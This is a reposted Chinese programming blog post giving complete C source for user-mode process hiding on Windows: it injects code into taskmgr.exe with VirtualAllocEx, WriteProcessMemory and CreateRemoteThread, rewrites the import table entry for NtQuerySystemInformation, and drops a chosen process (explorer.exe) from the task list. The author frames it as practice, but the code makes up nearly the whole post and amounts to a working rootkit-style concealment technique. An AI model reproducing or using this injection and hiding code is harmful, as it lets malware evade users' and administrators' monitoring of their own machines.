代码注入 API HOOK(非DLL)[转]

本文介绍了一种不使用DLL注入的方法来实现进程隐藏的技术。通过直接将代码注入目标进程中,替换特定API函数,如NtQuerySystemInformation,以达到隐藏指定进程的目的。此方法涉及内存操作、远程线程创建及API钩子技术。
原文: http://blog.youkuaiyun.com/dalixux/archive/2008/10/14/3072436.aspx

使用代码注入来实现进程隐藏  而不是使用DLL注入来实现进程隐藏 
没有什么高级技术  纯体力活  原理就不说了  只是没有通过DLL注入  来实现HOOK API
从核心编程 以来  似乎 一提到C注入 就是DLL注入 很奇怪 为什么没人写个完整的代码注入
所以 自己动手写了下
纯粹注入代码   邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂
= =本来想用汇编写的  发现汇编注入代码远比C注入代码来的繁  所以用C实现了
主要功能就是 隐藏进程   不过RING3的似乎没多大用  练习而已
代码如下:

None.gif // 需要编译成release版本  DEBUG版本 对函数生成的跳转地址表
None.gif
// jmp xxxxx  写入远程进程的时候xxxxx等于写入了一个全局变量
None.gif
//  程序必然崩溃
None.gif
#include  " Iat_Hook.h "
None.gif
None.gif
None.gif
char  cPath[]  =   " taskmgr.exe " ;
None.gif
None.gif
void  main( void )
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  
//定义变量
InBlock.gif
  DWORD dwPid;
InBlock.gif  HANDLE hProcess;
InBlock.gif  DWORD dwSize 
= 2048;
InBlock.gif  PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
InBlock.gif  REMOTESTRUCT stRemoteStruct;
InBlock.gif
InBlock.gif  
//遍历进程 寻找taskmgr.exe进程ID
InBlock.gif
    dwPid = GetProcessPid(cPath);
InBlock.gif
InBlock.gif  
// open process 得到进程句柄
InBlock.gif
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
InBlock.gif  
if(hProcess == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    printf(
"open error code %d\n",GetLastError());
InBlock.gif    
return;
ExpandedSubBlockEnd.gif  }

InBlock.gif  
InBlock.gif  
//写入 替代函数
InBlock.gif
  MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
InBlock.gif  WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);
InBlock.gif
InBlock.gif  
//初始化结构
InBlock.gif
  InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);
InBlock.gif
InBlock.gif  
//写入结构
InBlock.gif
  pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
InBlock.gif  WriteProcessMemory(hProcess, pRemoteStructAddress, 
&stRemoteStruct, sizeof(REMOTESTRUCT), NULL);
InBlock.gif
InBlock.gif  
//写入远程线程函数
InBlock.gif
  pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
InBlock.gif  WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);
InBlock.gif
InBlock.gif  
//创建远程线程
InBlock.gif
  CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 00);
InBlock.gif  CloseHandle(hProcess);
ExpandedBlockEnd.gif}

None.gif
None.gifDWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  FARPROC fpVirtualQuery;
InBlock.gif  FARPROC fpVirtualProtect;
InBlock.gif  FARPROC fpOpenProcess;
InBlock.gif  FARPROC fpEnum;
InBlock.gif  FARPROC fpGetProcAddress;
InBlock.gif  FARPROC fpLoadLibrary;
InBlock.gif  FARPROC fpFreeLibrary;
InBlock.gif  FARPROC fpWriteMemory;
InBlock.gif  FARPROC fplstrcmp;
InBlock.gif
InBlock.gif  HANDLE hProcess 
= NULL;
InBlock.gif  HMODULE hMods[
256];
InBlock.gif  DWORD dwNeed;
InBlock.gif  HANDLE hPsapi;
InBlock.gif  MEMORY_BASIC_INFORMATION stMem;
InBlock.gif  HMODULE hKernel, hModule;
InBlock.gif  PIMAGE_NT_HEADERS pImageNtHeaders;
InBlock.gif  PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
InBlock.gif  IMAGE_DATA_DIRECTORY ImageImport;
InBlock.gif  PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
InBlock.gif  PIMAGE_THUNK_DATA pImageThunkData;
InBlock.gif  DWORD oldProtect;
InBlock.gif  wchar_t 
*= pRemoteStruct->cProcessName;
InBlock.gif
InBlock.gif  
//初始化函数指针
InBlock.gif
  fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
InBlock.gif  fpVirtualProtect 
= (FARPROC)pRemoteStruct->dwVirtualProtect;
InBlock.gif  fpOpenProcess 
= (FARPROC)pRemoteStruct->dwOpenProcess;
InBlock.gif  fpLoadLibrary 
= (FARPROC)pRemoteStruct->dwLoadLibrary;
InBlock.gif  fpFreeLibrary 
= (FARPROC)pRemoteStruct->dwFreeLibrary;
InBlock.gif  fpGetProcAddress 
= (FARPROC)pRemoteStruct->dwGetProcAddress;
InBlock.gif  fpWriteMemory 
= (FARPROC)pRemoteStruct->dwWriteProcessMemory;
InBlock.gif  fplstrcmp 
= (FARPROC)pRemoteStruct->dwlstrcmp;
InBlock.gif
InBlock.gif  
//得到进程句柄
InBlock.gif
  hProcess =(HANDLE)fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, pRemoteStruct->dwPid);
InBlock.gif  
if(!hProcess)
InBlock.gif    
return 0;
InBlock.gif
InBlock.gif  
//得到模块基址 模块基址存放于hMods[0]
InBlock.gif
  hPsapi = (HANDLE)fpLoadLibrary(pRemoteStruct->cDllName);
InBlock.gif  fpEnum 
= (FARPROC)fpGetProcAddress(hPsapi, pRemoteStruct->cFunName);
InBlock.gif  fpEnum(hProcess, hMods, 
sizeof(hMods), &dwNeed);
InBlock.gif  fpFreeLibrary(hPsapi);
InBlock.gif  hModule 
= hMods[0];
InBlock.gif
InBlock.gif  
//改变内存属性  因为采用的不是DLL插入 NtQuerySystemInformation的原始地址无法通过
InBlock.gif  
//全局变量传递给 替代函数 这里通过把函数地址写入kernel的PE头 来实现 这样只需要在替代函数中读出地址就可以了
InBlock.gif
  hKernel = (HANDLE)fpLoadLibrary(pRemoteStruct->cKernel);
InBlock.gif  fpVirtualQuery(hKernel,
&stMem, sizeof (MEMORY_BASIC_INFORMATION));
InBlock.gif  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, 
&stMem.Protect);
InBlock.gif  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+4&pRemoteStruct->dwNtQuerySystem, sizeof(DWORD), NULL);
InBlock.gif  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+8&pRemoteStruct->dwlstrcmpW, sizeof(DWORD), NULL);
InBlock.gif  fpWriteMemory(hProcess, (PBYTE)(hKernel)
+0x14&p, sizeof(DWORD), NULL);
InBlock.gif  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, 
&oldProtect);
InBlock.gif
InBlock.gif  
//查找导入表 找到存放NtQuerySystemInformation
InBlock.gif
  pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)*((PBYTE)hModule+0x3c+ (DWORD)hModule);
InBlock.gif  pImageOptionalHeader 
= &pImageNtHeaders->OptionalHeader;
InBlock.gif    ImageImport 
= pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
InBlock.gif  pImageImportDescriptor 
= (PIMAGE_IMPORT_DESCRIPTOR)(ImageImport.VirtualAddress + (DWORD)hModule);
InBlock.gif
InBlock.gif  
while(pImageImportDescriptor->Name)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    
if(0 == fplstrcmp(pRemoteStruct->cNtdll, (PSTR)(pImageImportDescriptor->Name + (DWORD)hModule)))
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{      
InBlock.gif      
break;
ExpandedSubBlockEnd.gif    }

InBlock.gif    pImageImportDescriptor
++;
ExpandedSubBlockEnd.gif  }

InBlock.gif  
//替换 NtQuerySystemInformation的地址
InBlock.gif
  pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + (DWORD)hModule);
InBlock.gif  
while(pImageThunkData->u1.Function)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    
if(pImageThunkData->u1.Function == pRemoteStruct->dwNtQuerySystem)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif      fpVirtualQuery(
&pImageThunkData->u1.Function, &stMem, sizeof (MEMORY_BASIC_INFORMATION));
InBlock.gif      fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, 
&stMem.Protect);
InBlock.gif      pImageThunkData
->u1.Function =  pRemoteStruct->dwMyAddress;
InBlock.gif      
break;
ExpandedSubBlockEnd.gif    }

InBlock.gif    pImageThunkData
++;
ExpandedSubBlockEnd.gif  }

InBlock.gif  fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, 
&oldProtect);
InBlock.gif  
return 0;
ExpandedBlockEnd.gif}

None.gif
None.gifNTSTATUS WINAPI myNtQuerySystemInformation  (
None.gif              SYSTEM_INFORMATION_CLASS SystemInformationClass,
None.gif        PVOID SystemInformation,
None.gif          ULONG SystemInformationLength,
None.gif                PULONG ReturnLength)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  HANDLE hKernel;
InBlock.gif  NTSTATUS ntStatus;
InBlock.gif  wchar_t 
*pName;
InBlock.gif  PSYSTEM_PROCESS_INFORMATION pCurrent, pForward;
InBlock.gif
InBlock.gif  FARPROC fpNtQuerySystem;
InBlock.gif  FARPROC fplstrcmpW;
InBlock.gif
InBlock.gif  
//寻找kernel32的基址  准备读取需要用到的函数地址
InBlock.gif
  _asm 
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    mov eax,fs:[
0x30]
InBlock.gif    mov eax,[eax
+0xc]
InBlock.gif    mov ecx,[eax
+0x1c]
InBlock.gif    mov ecx, [ecx]
InBlock.gif    mov eax, [ecx
+8]
InBlock.gif    mov hKernel,eax
ExpandedSubBlockEnd.gif  }

InBlock.gif  
//取得函数地址
InBlock.gif
  fpNtQuerySystem = *(FARPROC *)((DWORD)hKernel + 4);
InBlock.gif  fplstrcmpW 
= *(FARPROC *)((DWORD)hKernel + 8);
InBlock.gif  
//取得 需隐藏的进程名
InBlock.gif
  pName = *(wchar_t **)((DWORD)hKernel + 0x14);
InBlock.gif
InBlock.gif  ntStatus 
= (NTQUERYSYSTEMINFORMATION)fpNtQuerySystem(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
InBlock.gif  
if (SystemProcessesAndThreadsInformation == SystemInformationClass)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    pForward 
= NULL;
InBlock.gif    pCurrent 
= (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
InBlock.gif    
while(pCurrent->NextEntryDelta)//检验是否到 最后一个进程结构
ExpandedSubBlockStart.gifContractedSubBlock.gif
    dot.gif{
InBlock.gif      
if(pCurrent->ProcessName.Buffer)
ExpandedSubBlockStart.gifContractedSubBlock.gif      
dot.gif{
InBlock.gif        
//_asm int 3
InBlock.gif
        if(0 == fplstrcmpW(pCurrent->ProcessName.Buffer, pName))
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif          
if(pForward)
ExpandedSubBlockStart.gifContractedSubBlock.gif          
dot.gif{
InBlock.gif            
if(pCurrent->NextEntryDelta)//隐藏的进程在链表中间              
ExpandedSubBlockStart.gifContractedSubBlock.gif
            dot.gif{
InBlock.gif              pForward
->NextEntryDelta += pCurrent->NextEntryDelta;
ExpandedSubBlockEnd.gif            }

InBlock.gif            
else//隐藏的进程在链表末端
InBlock.gif
              pForward->NextEntryDelta = 0;
ExpandedSubBlockEnd.gif          }

InBlock.gif          
else //要隐藏的进程在链表头时
ExpandedSubBlockStart.gifContractedSubBlock.gif
          dot.gif{
InBlock.gif            
if(pCurrent->NextEntryDelta)
ExpandedSubBlockStart.gifContractedSubBlock.gif            
dot.gif{
InBlock.gif              SystemInformation 
= (PBYTE)pCurrent + pCurrent->NextEntryDelta;
ExpandedSubBlockEnd.gif            }

InBlock.gif            
else
InBlock.gif              SystemInformation 
= NULL;
ExpandedSubBlockEnd.gif          }

ExpandedSubBlockEnd.gif        }

ExpandedSubBlockEnd.gif      }

InBlock.gif        pForward 
= pCurrent;
InBlock.gif        pCurrent 
= (PSYSTEM_PROCESS_INFORMATION)(pCurrent->NextEntryDelta + (PBYTE)pForward);
ExpandedSubBlockEnd.gif    }

InBlock.gif    
//_asm int 3
ExpandedSubBlockEnd.gif
  }

InBlock.gif  
return ntStatus;
ExpandedBlockEnd.gif}

None.gif
None.gif
None.gif
// 得到进程PID
None.gif
DWORD GetProcessPid( char   * cPath)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  PROCESSENTRY32 stProcess;
InBlock.gif  HANDLE hSnap;
InBlock.gif  BOOL bRet;
InBlock.gif  hSnap 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
InBlock.gif  
if(hSnap == INVALID_HANDLE_VALUE)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    printf(
"error\n");
InBlock.gif    
return 0;
ExpandedSubBlockEnd.gif  }

InBlock.gif  stProcess.dwSize 
= sizeof (PROCESSENTRY32);
InBlock.gif  bRet 
= Process32First(hSnap, &stProcess);
InBlock.gif  
if(!bRet)
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    printf(
"first error\n");
InBlock.gif    
return 0;
ExpandedSubBlockEnd.gif  }

InBlock.gif  
do
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    
if(0 == strcmp(stProcess.szExeFile, cPath)) //find  process of target
ExpandedSubBlockStart.gifContractedSubBlock.gif
    dot.gif{
InBlock.gif      
break;
ExpandedSubBlockEnd.gif    }

ExpandedSubBlockEnd.gif  }
while(Process32Next(hSnap, &stProcess));
InBlock.gif
InBlock.gif  
//确认 是否找到 目标进程
InBlock.gif
  if(0 != strcmp(stProcess.szExeFile, "taskmgr.exe"))
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif{
InBlock.gif    printf(
"can not find process\n");
InBlock.gif    
return 0;
ExpandedSubBlockEnd.gif  }

InBlock.gif  CloseHandle(hSnap);
InBlock.gif  
return stProcess.th32ProcessID;
ExpandedBlockEnd.gif}

None.gif
None.gifVOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid)
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  HANDLE hNtdll;
InBlock.gif  HANDLE hKernel;
InBlock.gif
InBlock.gif  hNtdll 
= LoadLibrary("ntdll.dll");
InBlock.gif  pRemoteStruct
->dwNtQuerySystem = (DWORD)GetProcAddress(hNtdll, "NtQuerySystemInformation");
InBlock.gif  FreeLibrary(hNtdll);
InBlock.gif
InBlock.gif  hKernel 
= LoadLibrary("kernel32.dll");
InBlock.gif  pRemoteStruct
->dwVirtualProtect = (DWORD)GetProcAddress(hKernel, "VirtualProtect");
InBlock.gif  pRemoteStruct
->dwVirtualQuery = (DWORD)GetProcAddress(hKernel, "VirtualQuery");
InBlock.gif  pRemoteStruct
->dwOpenProcess = (DWORD)GetProcAddress(hKernel, "OpenProcess");
InBlock.gif  pRemoteStruct
->dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
InBlock.gif  pRemoteStruct
->dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
InBlock.gif  pRemoteStruct
->dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
InBlock.gif  pRemoteStruct
->dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel, "WriteProcessMemory");
InBlock.gif  pRemoteStruct
->dwlstrcmp = (DWORD)GetProcAddress(hKernel, "lstrcmpA");
InBlock.gif  pRemoteStruct
->dwlstrcmpW = (DWORD)GetProcAddress(hKernel, "lstrcmpW");
InBlock.gif  FreeLibrary(hKernel);
InBlock.gif  
InBlock.gif  pRemoteStruct
->dwMyAddress = MyAddress;
InBlock.gif  pRemoteStruct
->dwPid = dwPid;
InBlock.gif  strcpy(pRemoteStruct
->cDllName, "Psapi.dll");
InBlock.gif  strcpy(pRemoteStruct
->cFunName, "EnumProcessModules");
InBlock.gif  strcpy(pRemoteStruct
->cKernel,"Kernel32.dll");
InBlock.gif  strcpy(pRemoteStruct
->cNtdll, "ntdll.dll");
InBlock.gif        
//要隐藏的进程名
InBlock.gif
  wcscpy(pRemoteStruct->cProcessName, L"explorer.exe");
ExpandedBlockEnd.gif}

None.gif
None.gifIat_Hook.h
None.gif
None.gif
// 头文件
None.gif
#include  < windows.h >
None.gif#include 
< stdio.h >
None.gif#include 
< stdlib.h >
None.gif#include 
< string .h >
None.gif#include 
< tlhelp32.h >
None.gif#include 
< imagehlp.h >
None.gif#include 
" Winternl.h "
None.gif
None.gif#pragma comment(lib, 
" imagehlp " )
None.gif
// 类型声明
None.gif

None.giftypedef 
int  NTSTATUS;
None.giftypedef BOOL (__stdcall 
* ENUMPROCESSMODULES)(
None.gif            HANDLE hProcess,
None.gif            HMODULE
*  lphModule,
None.gif            DWORD cb,
None.gif            LPDWORD lpcbNeeded
None.gif);
None.gif
None.giftypedef NTSTATUS (WINAPI 
* NTQUERYSYSTEMINFORMATION)(
None.gif            SYSTEM_INFORMATION_CLASS SystemInformationClass,
None.gif            PVOID SystemInformation,
None.gif            ULONG SystemInformationLength,
None.gif            PULONG ReturnLength
None.gif);
None.gif
None.giftypedef 
struct  _REMOTE_STRUCT
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gif  DWORD dwNtQuerySystem;
InBlock.gif  DWORD dwVirtualQuery;
InBlock.gif  DWORD dwVirtualProtect;
InBlock.gif  DWORD dwOpenProcess;
InBlock.gif  DWORD dwMessageBox;
InBlock.gif  DWORD dwLoadLibrary;
InBlock.gif  DWORD dwGetProcAddress;
InBlock.gif  DWORD dwFreeLibrary;
InBlock.gif  DWORD dwWriteProcessMemory;
InBlock.gif  DWORD dwlstrcmp;
InBlock.gif  DWORD dwlstrcmpW;
InBlock.gif  DWORD dwEnum;
InBlock.gif  DWORD dwMyAddress;
InBlock.gif  DWORD dwPid;
InBlock.gif  
char cDllName[50];
InBlock.gif  
char cFunName[50];
InBlock.gif  
char cKernel[50];
InBlock.gif  
char cNtdll[50];
InBlock.gif  wchar_t cProcessName[
50];//要隐藏的进程名
ExpandedBlockEnd.gif
}
REMOTESTRUCT,  * PREMOTESTRUCT;
None.gif
None.gif
// 函数声明
None.gif
DWORD GetProcessPid( char   * cPath);
None.gifDWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct);
None.gifVOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid);
None.gifNTSTATUS WINAPI myNtQuerySystemInformation  (
None.gif              SYSTEM_INFORMATION_CLASS SystemInformationClass,
None.gif        PVOID SystemInformation,
None.gif          ULONG SystemInformationLength,
None.gif                PULONG ReturnLength);
None.gif
None.gifWinternl.h
None.gif
ExpandedBlockStart.gifContractedBlock.giftypedef 
struct  _UNICODE_STRING  dot.gif
InBlock.gif  USHORT Length; 
InBlock.gif  USHORT MaximumLength; 
InBlock.gif  PWSTR  Buffer;                 
//注意,这里为Unicode类型
ExpandedBlockEnd.gif
}
 UNICODE_STRING,  * PUNICODE_STRING;
None.gif
ExpandedBlockStart.gifContractedBlock.giftypedef 
enum  _SYSTEM_INFORMATION_CLASS  dot.gif {
InBlock.gifSystemBasicInformation,
InBlock.gifSystemProcessorInformation,
InBlock.gifSystemPerformanceInformation,
InBlock.gifSystemTimeOfDayInformation,
InBlock.gifSystemNotImplemented1,
InBlock.gifSystemProcessesAndThreadsInformation,
InBlock.gifSystemCallCounts,
InBlock.gifSystemConfigurationInformation,
InBlock.gifSystemProcessorTimes,
InBlock.gifSystemGlobalFlag,
InBlock.gifSystemNotImplemented2,
InBlock.gifSystemModuleInformation,
InBlock.gifSystemLockInformation,
InBlock.gifSystemNotImplemented3,
InBlock.gifSystemNotImplemented4,
InBlock.gifSystemNotImplemented5,
InBlock.gifSystemHandleInformation,
InBlock.gifSystemObjectInformation,
InBlock.gifSystemPagefileInformation,
InBlock.gifSystemInstructionEmulationCounts,
InBlock.gifSystemInvalidInfoClass1,
InBlock.gifSystemCacheInformation,
InBlock.gifSystemPoolTagInformation,
InBlock.gifSystemProcessorStatistics,
InBlock.gifSystemDpcInformation,
InBlock.gifSystemNotImplemented6,
InBlock.gifSystemLoadImage,
InBlock.gifSystemUnloadImage,
InBlock.gifSystemTimeAdjustment,
InBlock.gifSystemNotImplemented7,
InBlock.gifSystemNotImplemented8,
InBlock.gifSystemNotImplemented9,
InBlock.gifSystemCrashDumpInformation,
InBlock.gifSystemExceptionInformation,
InBlock.gifSystemCrashDumpStateInformation,
InBlock.gifSystemKernelDebuggerInformation,
InBlock.gifSystemContextSwitchInformation,
InBlock.gifSystemRegistryQuotaInformation,
InBlock.gifSystemLoadAndCallImage,
InBlock.gifSystemPrioritySeparation,
InBlock.gifSystemNotImplemented10,
InBlock.gifSystemNotImplemented11,
InBlock.gifSystemInvalidInfoClass2,
InBlock.gifSystemInvalidInfoClass3,
InBlock.gifSystemTimeZoneInformation,
InBlock.gifSystemLookasideInformation,
InBlock.gifSystemSetTimeSlipEvent,
InBlock.gifSystemCreateSession,
InBlock.gifSystemDeleteSession,
InBlock.gifSystemInvalidInfoClass4,
InBlock.gifSystemRangeStartInformation,
InBlock.gifSystemVerifierInformation,
InBlock.gifSystemAddVerifier,
InBlock.gifSystemSessionProcessesInformation
ExpandedBlockEnd.gif}
 SYSTEM_INFORMATION_CLASS;
None.gif
None.giftypedef 
struct  _SYSTEM_PROCESS_INFORMATION  
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {  
InBlock.gif    DWORD NextEntryDelta;  
InBlock.gif    DWORD dThreadCount;  
InBlock.gif    DWORD dReserved01;  
InBlock.gif    DWORD dReserved02;  
InBlock.gif    DWORD dReserved03;  
InBlock.gif    DWORD dReserved04;  
InBlock.gif    DWORD dReserved05;  
InBlock.gif    DWORD dReserved06;  
ExpandedSubBlockStart.gifContractedSubBlock.gif    FILETIME ftCreateTime; 
/**//* relative to 01-01-1601 */  
ExpandedSubBlockStart.gifContractedSubBlock.gif    FILETIME ftUserTime; 
/**//* 100 nsec units */  
ExpandedSubBlockStart.gifContractedSubBlock.gif    FILETIME ftKernelTime; 
/**//* 100 nsec units */  
InBlock.gif    UNICODE_STRING ProcessName;      
//这就是进程名
InBlock.gif
    DWORD BasePriority;  
InBlock.gif    DWORD dUniqueProcessId;            
//进程ID
InBlock.gif
    DWORD dParentProcessID;  
InBlock.gif    DWORD dHandleCount;  
InBlock.gif    DWORD dReserved07;  
InBlock.gif    DWORD dReserved08;  
InBlock.gif    DWORD VmCounters;  
InBlock.gif    DWORD dCommitCharge;  
InBlock.gif    PVOID ThreadInfos[
1]; 
ExpandedBlockEnd.gif}
 SYSTEM_PROCESS_INFORMATION,  * PSYSTEM_PROCESS_INFORMATION;
None.gif


后记:第一次没有照着书 打代码 也找不到C 注入代码的例子 能找到的都是DLL注入原理早就知道了 真的写一遍 不容易 整个编写的过程 碰到了很多问题 最终都解决了 轻松了


 

posted on 2008-10-14 13:36 greatws 阅读(3155) 评论(2)   编辑  收藏 引用
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cpongo11

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值